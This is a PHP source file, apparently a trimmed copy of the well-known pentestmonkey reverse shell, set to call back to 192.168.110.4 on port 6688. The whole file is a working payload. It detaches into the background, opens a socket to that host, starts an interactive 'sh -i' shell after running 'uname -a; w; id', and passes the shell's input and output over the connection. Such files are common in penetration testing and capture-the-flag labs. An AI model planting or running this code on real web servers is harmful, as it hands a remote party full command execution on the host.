<?php

// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);

$VERSION = "1.0";

$ip = '192.168.110.4';

$port = 6688;

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; sh -i';

$daemon = 0;

$debug = 0;

if (function_exists('pcntl_fork')) {

	$pid = pcntl_fork();

	if ($pid == -1) {

		printit("ERROR: Can't fork");

		exit(1);

	}

	if ($pid) {

		exit(0);  // Parent exits

	}

	if (posix_setsid() == -1) {

		printit("Error: Can't setsid()");

		exit(1);

	}

	$daemon = 1;

} else {

	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");

}

chdir("/");

umask(0);

// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

	printit("$errstr ($errno)");

	exit(1);

}

$descriptorspec = array(

   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from

   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to

   2 => array("pipe", "w")   // stderr is a pipe that the child will write to

);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {

	printit("ERROR: Can't spawn shell");

	exit(1);

}

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

	if (feof($sock)) {

		printit("ERROR: Shell connection terminated");

		break;

	}

	if (feof($pipes[1])) {

		printit("ERROR: Shell process terminated");

		break;

	}

	$read_a = array($sock, $pipes[1], $pipes[2]);

	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {

		if ($debug) printit("SOCK READ");

		$input = fread($sock, $chunk_size);

		if ($debug) printit("SOCK: $input");

		fwrite($pipes[0], $input);

	}

	if (in_array($pipes[1], $read_a)) {

		if ($debug) printit("STDOUT READ");

		$input = fread($pipes[1], $chunk_size);

		if ($debug) printit("STDOUT: $input");

		fwrite($sock, $input);

	}

	if (in_array($pipes[2], $read_a)) {

		if ($debug) printit("STDERR READ");

		$input = fread($pipes[2], $chunk_size);

		if ($debug) printit("STDERR: $input");

		fwrite($sock, $input);

	}

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

function printit ($string) {

	if (!$daemon) {

		print "$string\n";

	}

}

?>